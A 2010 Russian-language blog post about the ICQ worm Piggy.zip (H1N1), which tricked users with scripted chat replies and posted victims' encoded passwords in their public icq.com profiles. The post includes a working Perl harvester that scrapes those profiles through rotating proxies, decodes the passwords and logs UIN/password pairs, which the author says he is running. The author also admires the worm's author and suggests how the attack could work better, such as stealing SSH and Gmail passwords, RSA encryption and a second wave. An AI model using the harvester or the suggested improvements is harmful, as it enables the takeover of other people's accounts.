Filed Under (Security) by Eax on 19-01-2010
Вчера, 18 января 2010, многие пользователи ICQ подверглись атаке нового «умного» вируса, получившего название H1N1. Если вы уже «в курсе произошедшего» и хотите восстановить свой пароль от ICQ, прочитайте тему о вирусе Piggy.zip на Web 2.0 Forum. В этом же посте я хотел бы поделиться своими мыслями по поводу произошедшего.
Для начала, ввиду в курс дела тех, кто не в теме. Дело было вчера, около 5-и часов вечера. В офисе царила рабочая обстановка, я спокойно писал документацию под музыку. Тут краем глаза я заметил, что среди коллег началось какие-то бурное обсуждение. Я решил дать глазам отдохнуть и поинтересовался, что происходит.
Так я узнал о вирусе Piggy.zip, информация о котором на текущий момент быстро разлетается по Сети. Другие его имена – H1N1, N1H1 и даже Infected by H1N1. Особый интерес этот вирус вызывает по той причине, что для заражения компьютеров он использует так называемую социальную инженерию, или, если говорить простым языком, H1N1 – это первый вирус, который умеет убедительно врать.
Как работали ICQ-вирусы до этого? Очень просто:
- Зайти в ICQ зараженного пользователя.
- Разослать ссылку на файл вируса по списку контактов.
- Выйти из ICQ.
- Опционально: выполнить payload (полезную нагрузку).
Как пользователи с ними боролись? Тоже просто – при получении ссылки нужно уточнить, а знает ли отправитель о том, что от него приходят ссылки, а не спам ли это, а точно ли это не спам и так далее. Так вот, новизна Piggy.zip заключается в том, что это первый вирус, отвечающий на подобные вопросы (и даже делающий это не моментально, а меняя статус на «Печатает сообщение…»).
Алгоритм, как выяснилось, очень прост. Если вирус получает сообщение со словом «вирус», послать отправителю ответ «это не вирус, а прикольный мультик», если в сообщении есть слово «спам», ответить «да сам ты спаммер» и так далее. Поскольку раньше никто не писал такие «умные» вирусы, пользователи были уверены, что общаются с живым человеком (уж больно натурально выглядят ответы) и запускали вирус.
В первом приближении вирус кажется вполне безобидным – диск он не форматирует, файлы не шифрует, другие трояны за собой не скачивает. Одна неприятность – он меняет пароль от ICQ, и то, как выяснилось, его можно восстановить – «зашифрованный» пароль вирус записывает в информацию о владельце ICQ в поле «О себе» (см ссылку в начале поста). Так что же получается – такой крутой вирус, и без полезной нагрузки?
Есть мнение, что полезная нагрузка автором таки предусмотрена и заключается она вот в чем. Давайте представим, что мы хотим украсть несколько сотен паролей от красивых номеров ICQ. Найти их на машине пользователя – не проблема, но как передать их автору вируса?
Послать по почте или той же самой ICQ? Ну так по этой самой почте/аське его и попытаются вычислить. Заставить ботов подключаться к IRC каналу и взаимодействовать с автором там? Как-то все это сложно. Ведь есть намного более просто путь – опубликовать зашифрованные пароли прямо на icq.com. Смотрите сами:

То есть пароль от любого номера ICQ можно забрать со страницы http://www.icq.com/people/$ICQ_NUMBER. Даже никакие Net::OSCAR использовать не надо! Мне было очень интересно узнать, как много паролей можно собрать, написав «паука» на Perl – потому я быстренько накидал следующий код. Писалось в спешке, так что строго не судите.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #!/usr/bin/perl # piggy-grab.pl script # (c) eax 2010 | http://eax.me/ open PROXY, "proxy.txt" or die "failed to open proxy.txt"; chomp(@proxy = <PROXY>); close PROXY; open LIST, "list.txt" or die "failed to open list.txt"; chomp(@list = <LIST>); close LIST; %h = ( "0100110000" => "0", "0100110010" => "1", "0101100000" => "2", "0101100010" => "3", "0101100100" => "4", "0101100110" => "5", "0101101000" => "6", "0101101010" => "7", "0101101100" => "8", "0101101110" => "9", ); #$prfx = "555"; $prfx = ""; #for $uin ("000".."999") { for $uin (@list) { print "$uin "; $p = $proxy[int rand() * scalar @proxy]; $data = `wget --proxy=on $p http://www.icq.com/people/$prfx$uin -q -O -`; if(($pw) = $data =~ /([0-1]{30,120})/) { $pw =~ s/([0-9]{10})/$h{$1}/g; print "\n\nFOUND: uin = $prfx$uin, pw = $pw\n\n"; open LOG, ">>log.txt"; print LOG "uin = $prfx$uin, pw = $pw\n"; close LOG; } } |
Я не был уверен, что бот всегда устанавливает пароли, состоящие из 8-и цифр, потому подстраховался, и написал скрипт так, чтобы он искал пароли длинной от 3-х до 12-и символов. Хотя в ICQ вроде больше 8-и нельзя указать… впрочем это было актуально когда-то давно, мало ли что могло измениться.
В настоящее время мне не удалось найти ни одной красивой взломанной аськи, посмотрим, что будет через несколько дней сканирования. Впрочем, даже если я что-то и найду, в мои планы не входит воровать номера да и пароли к тому времени наверняка все сменить успеют, так что думаю из того, что я выложил скрипт, ничего страшного не случиться. Тем более его писать, простите, две минуты – тоже мне зиродей сплоент.
Кем бы ни был автор вируса, думаю, он гений
Нет, я категорически против создания вирусов, но не могу не отдать должное творческому мышлению автора и тому, насколько хорошо продуман вирус. Смотрите:
- Аська очень популярна серди славян, притом не самых технически грамотных славян. Потому идея заставить бота говорить по-русски действительно хороша. Впрочем, ни что не припятский тому, чтобы перевести его еще на десяток языков. Но вы правы, реально этот пункт – фигня какая-то и не считается.
- Даже в мега-защищенной системе самое слабое место – это человек. Потому атака с помощью социальной инженерии есть проявление передовых хакерских (в плохом смысле слова «хакер») технологий.
- Вирус написан на Delphi и наверняка с использованием уже готового класса для работы с ICQ. Нет смысла изобретать велосипед и писать код, когда уже есть готовое решение. Чтобы там не говорили о том, что дельфи – это не Ъ.
- И самое главное – вирусе применены новые приемы для распространения кода и передачи секретной информации. Сколько можно заражать флешки?
Тем не менее, мне кажется, кое-где автор (или аторы) вируса накосячили:
- Можно было создать несколько зеркал вируса. Тогда его распространение не было бы предотвращено за какие-то сутки.
- Что мешает выкладывать в «О себе» не только пароли от ICQ, но и, скажем, пароли от SSH или GMail?
- Если бы передо мной стояла задача стырить побольше паролей, я бы шифровал пароли в поле «О себе» с помощью RSA. Еще вариант – через поломанные номера можно было бы запустить «вторую волну» .
Ну вот, кажется я выложил все идеи, которые появились у меня после того, как я узнал о вирусе H1N1 (или все-такие N1H1?). На последок – есть у меня серьезные сомнения на счет того, что автор ограничится написанием только одной версии вируса. Насколько мне известно, создатели вирусов обычно развивают свою идею, снвоа и снова совершенствую своих «зверушек».
Честно говоря, я был бы очень рад такому развитию событий. Жалко конечно нервы бедных пользователей, но с другой стороны, такие атаки дают им лишний стимул поменьше расслабляться и наконец-то перейти на Православный Протокол Jabber. Или еще лучше – отказаться от использования IM.
ЗЫ. А программистам на Delphi будет интересно взглянуть на декодер паролей, зашифрованных Piggy, опубликованный в Delphi блоге Димаса. Это не постовой
